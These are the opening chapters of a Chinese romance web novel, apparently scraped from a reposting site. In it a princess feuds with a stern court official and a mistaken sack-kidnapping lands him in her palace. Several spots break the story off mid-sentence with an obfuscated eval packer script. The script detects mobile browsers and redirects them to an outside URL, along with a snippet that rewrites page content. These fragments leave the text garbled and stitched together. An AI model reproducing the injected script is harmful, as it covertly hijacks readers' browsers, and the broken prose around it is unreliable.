《慕朝朝》 1. 第一章 慕朝朝 文/陈十年发表于晋江 【一】 正是草长莺飞时节,圆形刻如意纹窗牖敞着,一截桃花枝恰横生而至窗牖旁,枝繁叶茂之间缀着三朵花苞,其中一个花苞已经绽放,另两个还是含苞待放。 自窗中缓缓搭出一截白玉般的小臂,细长匀称的指节轻落在那朵开了的桃花上,紧随其后的,是女子清甜的嗓音。 “宝嘉,你确定要捉他为婿么?”身着一袭绯色石榴裙的少女趴在窗台上,单手托住腮,视线落在那初绽的桃花花瓣之上,而后缓移至不远处的跃龙池。 她与同行的少女说话,一双微微上扬的狐狸眼露出几分不解,朱唇轻咬,视线落在面前的桃花上。 绯色的石榴裙在微暖的日光之下有粼粼波光之感,其上缀着华贵的珠玉宝石,耀眼夺目。然则,珠玉宝石再耀眼夺目,也不及她的姝丽容颜半分。 如凝脂玉一般的手托住一张巴掌大的脸,一双含情美目嵌在其间,奠定了美人的风姿,大而莹润的眸子流转之间,在人心头惹下涟漪圈圈。挺拔的鼻子恰到好处,不会过分突兀,只让整张脸显得更为立体。双唇微张,露出洁白整齐的牙齿,红与白形成一种鲜明而干净的对比,像一幅画落到尾声,再添一神来之笔。 傅宝嘉一转过头,便对上如此景象,纵然她与陆朝朝相识多年一同长大,也免不得有许多时候被她的美貌看痴片刻。 傅宝嘉一向认为这京城第一美人的名头该是属于陆朝朝的,只恨那些人有眼无珠,竟觉得萧紫渔更胜一筹。她回过神来,轻嗯了声,答陆朝朝的话。 二人口中的他,是此番参加春闱的举子之一,薛仲霖。 时下榜下捉婿之风盛行,世家贵女皆兴此道,傅宝嘉也有此意。 陆朝朝问出自己的疑惑:“可这薛仲霖出身寒门,虽有才学,但算不上太过出挑,你怎的就瞧上他了?”她认为以傅宝嘉的条件,完全可以有更好的选择。 “出身寒门,有才学,家中父母双亡,又无兄弟姊妹,正合我意。”傅宝嘉歪头笑道,“我可没你那么大的志向,看上章安澜那般的人物。你也知道,我从小跟着我爹学舞刀弄枪,那些琴棋书画女红什么的我是一窍不通,跟贤良淑德沾不上边,若是我嫁一个门当户对的夫婿,那些臭规矩少不得磋磨我。可我若是低嫁,看在我爹的面子上,他也不能为难我,还得捧着我让着我,多好。” 这话也有几分道理,陆朝朝垂下眸子:“罢了,你开心就好。” 她拨弄着桃花,视线飘向跃龙池上。 跃龙池取自鲤鱼跃龙门之意,每一回春闱,举子们都爱来此游湖,图个高中的好彩头。因此不少想榜下捉婿的贵女们也爱来这春燕楼上,他们游湖,她们看人。 陆朝朝与傅宝嘉的雅间位置最好,视野十分敞亮,一览无余。 湖面映着阳光,春风吹皱一池涟漪,如此良辰美景……陆朝朝视线却忽地一顿,柳眉轻蹙,喃喃道:“不会是他吧?” 傅宝嘉听见她嘟囔,循着她视线望去,道:“谁啊?” 陆朝朝未答,只是更全神贯注地盯着那艘游船,从她的角度只能瞧见一个背影,看不分明。那游船往前飘了飘,终于露出了那人的侧脸,即便只是侧脸,陆朝朝也认出了他。 一身深蓝交领长袍,虽是坐着也能看出身影颀长。剑眉星目,鼻梁挺拔,皮肤白净,却并不显得太过瘦弱斯文,也并非武将的蛮横气质,恰到好处。 不是谢妄是谁? 纵然陆朝朝讨厌他,也不得不承认他的皮囊优越。 陆朝朝瞪大双眼:“他怎么在这儿?” 傅宝嘉也有些惊讶,她与陆朝朝一起长大,自然知晓陆朝朝与谢妄之间的恩怨。多年来每每二人对上,都是腥风血雨,鸡飞狗跳,从没有愉快收场的时候。 陆朝朝小嘴一撇,不管谢妄是来做什么,反正只要他出现,准没好事。 从小到大,她一直不喜欢谢妄。 谢妄此人,年纪轻轻便身居高位,自然是有能力的,只是他常年冷着一张脸,看谁都是那副死样子,好像谁都不放在眼里,而且他还嘴巴特别毒,说话总是很难听。她一直不明白,谢阁老与谢夫人那么和善的两个人,怎么会生出谢妄这种讨人厌的冰块脸来,分明谢大公子就很温柔,待人总是很友善。 想到谢妄那张讨人厌的脸,陆朝朝不由得抱住胳膊,小脸垮了下来。隔这么远,她都能看出他脸上的刻薄,陆朝朝撇了撇嘴。 她轻哼了声,旋即,视线再一次被谢妄吸引,不由得睁大了眼睛。 ——谢妄对面还坐了一个女子。 不过看不清脸,只能看见藕粉色衣裙。 谢妄竟然和一个女子同乘游船? 简直不可置信。 陆朝朝惊得身子都往窗外倾出几分,赶紧抬手唤来风荷,让她赶紧去打听,“你快去查查,他今日在此所为何事?那女子是谁?他们是什么关系?” 风荷办事利落,不多时便回来禀报。 “殿下,奴婢打听到了,今日谢大人似乎是来此与人相看的,那粉衣女子应是李侍郎家的三姑娘。” 陆朝朝轻笑声中带着十分的不可置信:“谢妄?相看?他这样的人,同谁成了夫妻都是在祸害人家吧。” 她记得,谢妄并不擅长水性。 陆朝朝嘴角漾出一抹笑,心头浮上一计。 她有了主意,当即对风荷耳语几句,风荷听罢,面露为难劝阻道:“殿下,这样不好吧……” 风荷哪里劝得住她,不多时后,主仆几人便出现在跃龙池的另一艘游船之上。 陆朝朝叮嘱船夫:“看见那艘游船了么?待会儿你就朝着它划,待近些,那船上的郎君站起来时,看准时机撞上去,务必要叫那郎君跌落水中,明白了么?” 她给风荷使了个眼色,风荷当即拿出一锭银子给船夫。 船夫见到银子自是眼前一亮,可又迟疑不敢接下。他在此行船多年,知晓这些日子来此游船的多是参加春闱的举子,倘使他今日得罪了人家,万一日后人家中了功名做了官,回头报复自己可如何是好? “这位姑娘,不知您与那船上的公子有何恩怨?” 陆朝朝见他迟疑,随口胡诌道:“既然你问了,我便告诉你吧。那船上的蓝衣公子原是我的情郎,与我许下海誓山盟,可他薄情寡义,喜新厌旧,竟将我抛弃,又转头与旁的女子相看。我内心愤恨,也不愿旁的女子再受他蒙骗,所以才找上你让你帮忙搅了这场相看。”她说着,又装模作样地哭起来。 船夫见她生得美貌,楚楚可怜,心软不已,当即应下:“哎哟,姑娘别哭了,这等负心人不值当你为他伤心难过。你就放心好了,待会儿啊,我定使劲儿撞他,定叫他变成落水狗,替姑娘出口恶气!” 陆朝朝破涕为笑,同船夫道了谢,进了船舱中坐下。傅宝嘉忍俊不禁,靠在她肩头说笑:“朝朝,你演得可真好,像煞有其事似的。” 陆朝朝咬牙:“我对谢妄的厌恨自然是千真万确!” 船夫很快摇桨将船驶近,缓缓停在谢妄的游船一侧。 陆朝朝与傅宝嘉二人躲在船舱中,观察着不远处的谢妄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岂料那袭蓝衣却冷漠地往后退了一步,避开了她伸出的手,陆朝朝便这么跌入池中。 虽是春日,可跃龙池的水还是冰冷刺骨,陆朝朝 在水里扑腾了几下,终于稳住身形,只是发髻衣服全乱了,狼狈不堪。她呛了两口水,咳嗽起来,一抬头便见谢妄站在船头,居高临下,负手而立。 陆朝朝气愤不已,指着他道:“谢妄,你方才是不是故意躲开本宫!你大胆!你大逆不道!” 谢妄仍是那副疏淡的模样:“微臣方才突发耳疾,听不清殿下说话,思及平日殿下都叫臣滚远一些,这才退了一步,怕污了殿下的玉手。” 他们闹出的动静不小,不少人都朝这儿看过来。水面映出自己此刻的狼狈,清清楚楚落在众人的眼中,陆朝朝委屈得想哭,只好恶狠狠瞪了谢妄一眼。 “谢妄,我讨厌死你了!” - “讨厌讨厌讨厌!”陆朝朝裹着金丝软被,打了个大大的喷嚏,“世上最讨人厌的家伙!” 风荷将煮好的姜汤呈近,哄道:“殿下快把姜汤喝了,不然感染了风寒可就不好了。” 陆朝朝小嘴翘得高高的,能挂下五支毛笔,她不情不愿地接过姜汤,姜味直冲进她的鼻腔,让她赶紧把碗拿远了些。 这一切都怪那个可恶的谢妄! “总有一天,我要让他跪地求饶!”陆朝朝自言自语了一句,捂住鼻子将碗中的姜汤一饮而尽。 她是气昏了头,放下一句狠话,倒没想到这个机会来得这么快。 2. 第二章 那日在跃龙池落水后,纵然陆朝朝已经强忍着不喜喝了姜汤,大抵是春日的池水太冷,她还是病了一场,折腾了几日才好。 那几日里,每日都要被逼喝苦得要命的汤药,她又将谢妄骂了千百遍。 她在跃龙池落水的事目睹之人众多,悠悠众口堵不住,自然也传到了父皇口中。加之她又病了,当夜崇光帝便来了曦光殿探望。 陆朝朝方才喝过药,有些怠惰地倚着美人榻躺着,唇齿与鼻腔中皆是那药的苦味,仿佛沿着喉管四散至她周身每一个角落,让她有种反胃之感。风荷备了蜜饯搁在一旁的方几上,陆朝朝拿了两颗塞进嘴里,试图冲淡一些苦味。 她闭着眼睛,又在心里暗骂谢妄,骂着骂着不自觉出了声:“臭谢妄……” 忽地听见一声低沉的轻笑,孟朝朝猛地睁开眼,对上崇光帝慈爱的眼神。 陆朝朝坐起身:“父皇几时来的,怎的她们也不通传一声?” 她风寒还未彻底痊愈,说话之时仍带着些鼻音。 崇光帝在榻上坐下,笑说:“是朕听说朝朝在休息,不许她们打搅。太医怎么说?” 陆朝朝撇了撇嘴:“太医说了,只是感染风寒,没什么大碍,让父皇担心了。” 崇光帝伸手摸了摸她的脑袋,叹气道:“没什么大碍就好。父皇听说,你此番落水,是为了谢妄?” 陆朝朝正欲开口,控诉谢妄的恶劣:“可不是么,都怪他……” 又听崇光帝下一句竟是:“其实你若是喜欢他,同父皇说便是,父皇可以下旨赐婚。” 陆朝朝的话噎在喉口,睁大双眼满脸不可置信,有些激动地反驳:“谁会喜欢他啊!父皇你在说些什么胡话!” 她怎么可能会喜欢谢妄? 崇光帝似乎不信,“当真?朕可听闻,你此番落水是为着谢妄与人相看……” 陆朝朝听罢,嘴角抽了抽,这都什么跟什么啊?怎么会传出这么离谱的事? “完全是子虚乌有!到底是谁在胡说八道啊,我才不喜欢谢妄呢,我喜欢的人比他好一千倍一万倍。”她一时嘴快道。 崇光帝问:“哦?那朝朝与朕说说,你喜欢的人是谁啊?朕下旨赐婚。” 陆朝朝意识到说错话,赶忙打圆场:“哎呀,父皇,你就这么着急把我嫁出去么?我还想多陪父皇两年呢。” 崇光帝叹息一声:“父皇自然想多留你几年,只是你如今到了成婚的年岁,若是有合适的儿郎,自然要抓紧些。父皇也希望你能嫁个如意郎君,过上幸福的生活。” 陆朝朝挽住崇光帝的胳膊,撒起娇来:“有父皇疼爱,朝朝就很幸福了。” 崇光帝见状,没再追问任何,只是暗地里让人留心她平时同谁走得近些。 崇光帝陪陆朝朝用了晚膳后,又坐了会儿才离开。水月有些不解,问陆朝朝:“殿下为何不直接同陛下说,让陛下下旨给您和章公子赐婚?还非要大费周章地谋划捉婿一事?” 她预备捉章安澜为婿之事除却身边亲近的几个人知道,旁人并不知晓。 陆朝朝吸了吸鼻子,答水月的话:“若是父皇下旨赐婚,那便没有转圜的余地了。” 水月还是不解,这要何转圜的余地?正欲再问,风荷打断了她:“殿下放心,该安排的奴婢都已差人安排妥当,应当万无一失。” 陆朝朝嗯了声,掩嘴打呵欠。 风荷道:“殿下休息吧,奴婢等先退下了。” 待迈出寝殿,水月才不安地望向风荷:“风荷姐姐,方才可是我说错话了?” 风荷叹了声:“你来曦光殿的时日迟些,不知晓此事。公主幼时脾性比如今更娇纵几分,想要的千方百计都要得到。有一年,公主在御花园中遇见了一只很可爱的兔子,她心生喜爱,自然想要。只是那兔子早已经有了主人,公主便去找陛下讨要,陛下金口玉言,兔子的主人又岂能拒绝?只得割爱,让给了公主。 公主得了兔子,自然是喜欢得紧,命人准备了上好的笼子与草料,每日里都抱在怀里,可那兔子却认主,不论公主如何哄,也不肯进食,几日之后,便饿死了。公主很是伤心,原主人得知兔子死了后,也很伤心,指责公主抢了她的兔子。公主想辩驳,却又不知从何辩驳,毕竟是她找陛下讨要这才害死了那只兔子。从那之后,公主性子收敛了些,对于许多事便不轻易向陛下开口了。” 水月听罢,若有所思地点了点头:“原来如此。” - 谢家府宅,谢妄正在书房中批阅奏疏,忽地觉得鼻头一痒,而后轻声打了个喷嚏。 千山在门外听见,关切道:“公子这几日频繁打喷嚏,莫不是着凉了?” 万山看他一眼,笑说:“公子身强体健,壮得像牛,怎会着凉?倒是听闻昭阳公主着了凉。我看啊,是昭阳公主暗地里在骂主子吧。” 千山也知晓自家主子与那位昭阳公主之间的多年恩怨,一时沉思。 二人的对话被一阵脚步声打断,来人是谢家家主,谢正霄。 二人当即行礼:“属下见过家主。” 谢正霄视线落在书房紧闭的房门上,越过二人,推门而入。 “缜之。”谢正霄唤他。 谢妄见是谢正霄,起身唤了声父亲。 谢正霄在一旁的檀木圈椅上坐下,正色道:“我们谢家百年大族,按说尚公主也配得上,你不该瞒我与你母亲这么久。” 谢妄听得眉头紧拧:“父亲在说什么?儿子听不懂。” 谢正霄叹了声,露出一个无奈的眼神:“事到如今,你还要瞒着我们么?如今整个京城都传遍了,你与昭阳公主的事……” 谢妄问:“我与昭阳公主什么事?” 谢正霄被他问得一怔,小辈之间的爱恨纠葛从他嘴里说出来多少有些不合适,只道:“我从前只当你与昭阳公主之间相处不睦,原来竟全是障眼法。也是,你虽与人相处疏离,却也鲜少与人闹得鸡飞狗跳,除了昭阳公主,倒没见你与旁人如此。” 谢妄终于听明白了,谢正霄的意思是,他与昭阳公主是一对。 未免太过离谱。 更离谱的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这些谣言也太离谱了些,按说应当没人相信,可不知为何……竟有许多人相信。 谢妄眉头再次凝住,指节轻叩桌面,传来清脆的声响。 千山迟疑片刻后继续道:“属下查探到,这些谣言是从城北一桥下说书先生那儿传出来的,那说书先生说得绘声绘色,仿佛煞有其事,一传十十传百,便传开了。” 谢妄冷冷开口:“让他闭嘴。” 千山应道:“是,属下马上去办。” 千山没说,其实还有一个更离谱的版本,与前一个版本只有关于昭阳公主为何落水不同。说那日昭阳公主之所以落水,是因为与自家公子和好了之后,与自家公子在船上颠鸾倒凤,太过忘情…… 他怕这些说出来公子听了会更生气。 前两日还传得沸沸扬扬的关于昭阳公主与谢大人的秘闻一夕之间消失得无影无踪,没人再敢提。恰逢春闱放榜,众人有了新的谈资,便也渐渐忘了。 正如谢正霄所料,此次状元郎的确是章家三公子,章安澜。 听说了这消息,陆朝朝仿佛与有荣焉,嘴角一整天都翘着。 除此之外,傅宝嘉看中的薛仲霖也考中了。 陆朝朝叮嘱风荷:“事情都安排好了么?” 风荷含笑点头:“殿下放心,奴婢已经差人跟着章公子了。” 陆朝朝捧腮,咬唇失笑,有些期待。 香满楼中,二楼雅间。 谢妄与章安澜二人对坐。 3. 第三章 “恭贺章公子。”谢妄淡淡开口,“章公子才华横溢,日后一定在朝中大有作为。” 章安澜不动声色打量着对面的人,他面容疏淡,喜怒不形于色,有种无形的威压之感,到底是天子近臣。他轻笑一声,拿起手边的杯盏,浅抿一口,“谢大人这便是说笑了,谁人不知,谢大人才是真的年少有为。” 谢妄当年十五岁便名满京华,连中三元,而后入朝为官,深得崇光帝爱重,短短几年,便已是天子近臣。甚至于,比其父谢阁老还风头盛些。 这样一个人夸他才华横溢,年轻有为,实在有些讽刺。 章安澜笑道:“此番来京,原该我上门拜访伯父,只是伯父身为此番春闱的主考官,我若是上门,倒显得有几分攀亲之嫌。如今春闱结束,我正打算这两日便登门拜访伯父,没成想谢大人先邀约了。我这有些礼物,是给伯父准备的,还请谢大人代为转交。” 谢妄说:“章公子客气了。” 事实上谢妄觉得这件事有些奇怪,谢家在京都,而章家在河西,两家虽说都是声名在外的世家大族,可彼此之间的往来却不多。父亲说章安澜的父亲与自己过往有些交情,他却完全没听说过此事。 谢妄也没多想,兴许是两位父辈之间的私交。 二人不冷不热地聊了一些客套之语,章安澜忽地开口:“谢大人,我有一个冒昧的问题想请教。” 谢妄看着他:“什么问题?” 章安澜垂下眸子,笑道:“敢问谢大人与昭阳公主,当真是情投意合么?” 谢妄眉头微压,没想过章安澜竟然会问他这个问题。他不假思索地回答:“假的。” “不知是谁传出来的谣言,我与昭阳公主并无私情,甚至并不算熟稔。” 章安澜唇边扬出一个弧度,似乎松了一口气:“抱歉,谢大人,是我太唐突了。” 谢妄只道:“无碍。” 不过看他的神色,他喜欢昭阳公主? 谢妄心头闪过一丝疑问,但他没追问,他对别人的八卦并不感兴趣。 二人又坐了会儿,谢妄便打算离开,他不喜欢这种应酬之事,礼数差不多了,也该结束了。只是他刚站起身,还未及开口,忽地觉得一阵头晕目眩,紧跟着便失去了意识。倒下之前,只来得及看见对面的章安澜也趴在了桌上。 待二人都倒下之后,雅间的门被推开,鬼鬼祟祟进来几个人。 正是风荷安排的几人,他们跟着章安澜来到此处,在小二送来的酒菜中下了些迷药,估摸着时间到了,赶紧推门进来。 他们要将章安澜送进宫中,这一个大活人可不太好办,便给章安澜套了个麻袋,以便掩人耳目。几人得了手,正打算离开,又注意到一边的谢妄。 “这……谢大人怎么办?就放在这儿不管了?万一谢大人醒过来发现人不见了,不会闹大吧?”公主可是交代过他们,要小心谨慎行事。 “要不,把谢大人送回谢家?” “我看行。”说罢,便给谢妄也套了个麻袋。 只是谁也没注意到,两个麻袋弄岔了。 暮色四合,万家灯火陆陆续续点亮,铺出一幅繁华的都城画卷。曦光殿内灯火通明,银灯映出细长的影子,在窗边踱步。 章安澜这么多人喜欢,不会被别人捷足先登吧? 陆朝朝心中有些焦灼,正在此时,风荷推门进来,压低声音道:“殿下,成了。” 她对身后的几个太监招了招手,几个人便抬着一个麻袋进来了。 陆朝朝看着那麻袋,吸了口气:“怎么搞成这副样子?” 她说着,手上解开麻袋的绳子。 麻袋中露出个脑袋,歪在陆朝朝臂弯里。 陆朝朝脸上的笑容僵住,麻袋中的人怎么会是谢妄? “这是谁啊?我要的是他吗?你们怎么办的事啊?”陆朝朝嫌弃地把谢妄的脑袋推开,跺了跺脚。 几个人面面相觑,也没想到会发生这种事。 “殿下息怒,今日章公子与谢大人在花满楼摆宴,这才弄错了。” 陆朝朝心中又急又气:“赶紧把他弄走,把我的章公子弄回来啊!我才不想看到他。” 她看了眼地上躺着的谢妄,没忍住踹了他一脚。 谢妄中了药,自然没有任何反应。 几个太监应下,当即又把人抬出去。 只是没一会儿,他们又原封不动地把人抬了回来,苦着脸回话:“殿下,今晚怕是不能把人送走了,方才换了杨将军值守,杨将军一向刚正不阿,盘查得严格。若是被发现了,定然事情要闹大了。” 陆朝朝不想把事情闹大,小脸垮了下来,“算了,既然如此,明早再把他送走吧。” 翌日一早,陆朝朝早早便醒了。 她想到昨晚的事,苦着眉头,没什么胃口用早膳。 “待会儿杨将军换了值,赶紧把那个瘟神送出去,可别让他发现,明白么?”陆朝朝吩咐风荷。 风荷应下,出去传话了。 风荷才走,水月进来禀报,说是傅宝嘉来了。 傅宝嘉满脸喜色,拉住陆朝朝的手激动不已:“朝朝,昨日薛仲霖已经应允了同我的婚事!你呢,你怎么样?那章安澜可答应了?” 陆朝朝听见好消息,自然替好友高兴,听见章安澜的名字时笑容又垮下去:“别提了。” 她将事情前因后果告知傅宝嘉,两手撑住下巴唉声叹气:“我就说遇见谢妄就没好事,都怪他,害我错失了一个好夫婿。” 傅宝嘉没想到事情竟会如此走向,安抚道:“没事,好歹那章安澜也没答应别人,你还有机会。” 陆朝朝撇撇嘴:“但愿。” 正说着话,几个太监进来问话,说是杨将军那儿换值了,他们可要现在把人送走。 “赶紧!”陆朝朝不耐烦道。 却被傅宝嘉叫住:“等等,朝朝,我方才有个绝妙的点子,你不是一直很讨厌谢妄么?你想不想好好治治他?” 陆朝朝迟疑道:“我自然想,只是他那人简直油盐不进,软硬不吃,你有什么好点子?真能治他么?” 傅宝嘉凑近陆朝朝耳畔,低声耳语了几句。陆朝朝先是惊讶,而后细细琢磨,竟觉得傅宝嘉的点子有几分可行性。 - 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035894|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢妄醒过来的时候,头疼得厉害。 他昨日分明在香满楼中摆宴招待章安澜,却忽然失去了意识…… 思绪渐渐回笼,谢妄眸色警惕,坐起身来。 下一瞬,听见耳畔传来一声娇滴滴的女子声音:“你终于醒了。” 这嗓音很熟悉,只是谢妄头还痛得厉害,一时有些迟钝。他循着声音转过头,不由得睁大双眸,愣住瞬息,而后迅速移开视线。 方才映入眼帘的一幕勾动了他的心跳,谢妄呼吸都乱了。 陆朝朝只着了一件松垮的寝衣,肩颈如凝脂玉一般白皙,柔顺的青丝如瀑,垂落在肩头,她未施粉黛,素面朝天的模样仍旧美艳动人。 谢妄迟钝的脑子试图飞快地思考,不论是余光瞥见的陈设还是扑入鼻腔的甜香,一切都在告诉他,这里是昭阳公主的寝宫。 陆朝朝看他这副表情,心中暗爽不已。 真难得,谢妄也会有这样的时候。 寝宫,公主,同在一张榻上…… 令人轻而易举联想到一些荒唐的事情。 似乎是猜测到他心中所想,那道清丽的女声再次开口帮他证实:“谢妄,你得对本宫负责。” 谢妄心再次猛地一跳,像春日惊雷一般。 他抬起头,英俊的脸上终于有了一些耐人寻味的表情,剑眉微蹙,与陆朝朝对视。 不对,他昨夜失去意识之前分明在香满楼中,怎么会出现在昭阳公主的寝宫呢? 陆朝朝是想吓吓他,看他惊慌失措的模样。可他这般盯着自己看,反倒让她有些心虚。 为了不让谢妄看出什么端倪,陆朝朝只好努力地瞪回去。 他问道:“臣为何会出现在殿下的寝宫?” 她随口胡诌:“本宫昨夜突然心血来潮,便对月小酌了几杯,之后便不胜酒力,早早歇下了。再醒过来时,你便在本宫的寝宫里了。” 谢妄眉头皱得更深,还是不对劲,可疑之处太多了。他怎么会无端出现在曦光殿?又怎么会同昭阳公主发生了些什么? 陆朝朝看他这副模样,假意掩住脸啼哭:“你现在是什么意思?本宫用自己的清白诬陷你是么?呜呜呜呜……” 她哭得楚楚可怜,谢妄根本没办法思考,他虽没有怜香惜玉的美德,可也难得有些慌乱。 “臣没有这个意思,臣只是……臣似乎没什么感觉……”他们之间真的发生过什么么?他怎会毫无记忆,什么都想不起来。 陆朝朝理直气壮:“你没有感觉我怎么知道,你很有经验么?难道你应该有什么感觉么?” 这话把谢妄问住了,他的确没有任何经验。 他在男女之事上是一张白纸,一窍不通,的确不知倘若发生了些什么,应当有什么样的感觉。 若当真如此……他默然不语,沉思如何解决。 他的反应让陆朝朝有些不满意,她还以为他应该会惊恐万分、惊慌失措才对,结果他除了最开始有点惊讶慌乱,还是很沉着冷静嘛。 果然是天生的一张冰块脸!陆朝朝在心中腹诽。 片刻之后,谢妄开口:“臣会去向陛下求娶。” 4. 第四章 求娶?! 这话可把陆朝朝吓了一跳,她陡然提高音量,拒绝得当机立断斩钉截铁:“不可以!” 谢妄凝眸看她。 陆朝朝深吸一口气,解释道:“你可知婚姻大事事关终生,岂能儿戏?你我之间又不是有情人,怎能结为夫妻呢?再说了,你又不喜欢我,我也不喜欢你,我们只能成为一对怨偶。” 她真怕谢妄向父皇求娶,父皇一向欣赏谢妄,曾多次在她面前赞赏谢妄,前些日子听闻那种离谱的谣言还愿意把她嫁给谢妄,这要是谢妄提出求娶,父皇定然欣然同意。 “总而言之,你要是敢向父皇求娶,我……我就死给你看!我不活了我!我才不要嫁给你!”陆朝朝说完大道理,怕拦不住谢妄,又开始胡搅蛮缠。 谢妄看她这反应,凝眉更甚:“公主不愿嫁给微臣,又要微臣负责,不知公主想要微臣如何负责?” 陆朝朝哪里能说得上来,索性两手掩面假哭起来:“呜呜呜呜,我不管,反正你得对我负责。至于怎么负责,那是你的事,反正你不能向父皇求娶,我不要嫁给你啦。呜呜呜呜呜呜呜呜呜我不舒服,我的头好痛哦,我要休息了,你走吧,你出宫去吧。” 她说完,将金丝软被往身上一扯,整个人背对着谢妄躺下去,临躺下之前,一脚将谢妄踹下了床。 谢妄从地上起身,看向陆朝朝。 她青丝散乱地被压在脑后,露出半截嫩藕似的脖颈,耳朵有些泛红。 他心里突然冒出个念头,从前倒没发现她皮肤竟这般白皙。 意识到自己在看什么,谢妄迅速垂下长眸,想了想,还是恭敬道:“殿下身子不舒服么?可要请太医?” 她不舒服……可是因为昨晚?因为他? 他再次迟疑起来。 “你怎么还不走啊?!”陆朝朝不想跟他继续聊任何,她怕说多错多,露馅让谢妄看出什么。 谢妄默然片刻:“是,臣告退。” 谢妄都不记得自己怎么离开的曦光殿,那一整段时间他的脑子里都是一片空白。在出宫之前,还遇上了常宁郡主。 “谢大人。”萧紫渔面露惊喜,叫住谢妄,“陛下今日竟传召了大人。” 谢妄陡然被她一唤,不知怎么竟有几分做贼心虚的意味,陛下今日并未传召他,他是从昭阳公主的曦光殿出来的。这些事万万不可能叫旁人知晓,他面上不显,如常应下道:“臣见过常宁郡主。” 萧紫渔看着谢妄,咬了咬唇,想起前些日子关于谢妄与陆朝朝的传闻。初听闻那些之时,她自然是不信的,谁都知晓谢妄不近女色,只是又不免担心,毕竟她一直倾慕于谢妄。 今日难得遇上,倒是可以向他求证一番。 萧紫渔迟疑了一瞬,笑着开口:“谢大人,前些日子城中谣传你与昭阳公主的事,实在是太荒谬了,不是么?也不知是谁竟传出这等离谱的事来。” 她一面说着,一面留心谢妄的反应。 谢妄一怔,没想到常宁郡主会说起此事来。若是在昨日之前,他对此的回答定然是不假思索的,那的确是一些出乎离谱的谣言。但昨夜之后,事情似乎发生了翻天覆地的变化。 他和昭阳公主,似乎的确有了些什么。 片刻之后,谢妄抿唇:“的确荒谬。常宁郡主,臣还有事,先行告退。” 谢妄说罢,转身离开。 萧紫渔看着他匆匆而去的背影,再次咬住了下唇。 他方才……迟疑了…… 尽管他否认了此事,可他却迟疑了许久。 为何? 萧紫渔心中涌起一股微妙的不安,难道谢妄和昭阳公主之间当真有些什么? 不,不可能。 萧紫渔摇了摇头,在心中说服自己,或许他方才并非迟疑,只是为公务烦扰,一时走神。毕竟他否认了,不是么? 谢妄与昭阳公主,怎么可能呢? 他们之间彼此不对付,这么多年萧紫渔是看在眼里的。 她轻吐出一口气,收回视线:“走吧,去慈元殿给皇后娘娘请安。” - 谢妄从正门走进,一路畅通无阻,小厮们看见他时略有诧异,不知二公子几时出了一趟门,但也只是诧异,没人会问出口。毕竟这位二公子和大公子老爷夫人他们性子不大相似,并不甚好相处,下人们一向有些怕他。因此他们只是恭敬地问好,目送二公子进门。 一直到回到谢妄的明心堂,千山和万山二人如往常一般守在卧房外头,等候二公子起来。二公子一向勤勉,不论寒暑,都起得很早,他们还觉得诧异,今日二公子怎么起得迟了些,便看见谢妄从门外走进来。 “公子。”二人异口同声唤道,又有些诧异,他们一直守在卧房门口,怎么都没发觉公子何时出的门? 而且公子好像还穿着昨天的衣服,这有些不合理。要知道他们公子好洁,断断不可能两天不换衣服。 正诧异之际,卧房的门竟也打开了。 二人瞪大双眼看向卧房门口,从里面走出的人赫然是昨日与公子在香满楼见面的章公子。 章公子怎会从公子的房间里出来? 万山只觉得自己的脑子飞速转动,难道是昨日章公子和公子一见钟情,所以将章公子带了回来? 万山被这个猜测惊呆了,眨了眨眼,便听见自家公子疑惑的声音:“你怎会在这里?” 公子也不知道章公子在他卧房里?那这是为何? 章安澜也一头雾水,不知自己怎么会在一个陌生的地方醒来,他不是还在和谢妄吃饭么? 谢妄看着章安澜,脸色沉了又沉,他正欲发作,让千山他们去查清楚此事,又想到了陆朝朝。他若是大张旗鼓让人调查此事,恐怕会影响到她的声誉,此举万万不可。 他咽下话,改口道:“昨日章公子喝醉了酒,我便让人将章公子暂时安置在此。” 章安澜有些狐疑地看着谢妄,他总觉得哪里不对劲,只是谢妄与他之间并无任何恩怨,他没必要骗他。 “原来如此,多谢谢大人了。” 谢妄嗯了声,命万山送章安澜离开。 他有些烦躁地进了房间,在檀木桌案旁坐下,又唤千山进来:“你去查查,昨日我与章安澜在香满楼到底发生了何事。记住,要悄无声息地查,不可让任何人发现我在调查此事,也不可让任何人看出异常。” 千山有些疑惑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢谦比谢妄大五岁,与大嫂郑婉然成婚十年,膝下育有一儿一女。夫妻二人多年来恩爱非常,让外人羡慕不已。 “缜之来了。”郑婉然正抱着五岁的女儿谢绵绵在庭中玩耍,见谢妄过来,微笑着打招呼。 谢绵绵看见谢妄,把脸往郑婉然怀里躲,她很怕这个小叔,小叔老是凶巴巴的。郑婉然有些无奈地笑了笑,谢妄和谢谦两兄弟的性格的确大不相同,“你是来找子敬的吧?他在书房呢,你去吧。” 谢妄嗯了声,往书房走。 谢谦正在书房中处理些庶务,没想到谢妄会过来,有些意外:“缜之,你怎么来了?” 谢妄看向谢谦,道:“兄长,我今日来,是想请教你一个问题。” 谢谦说:“哦?什么问题,你说就是。” 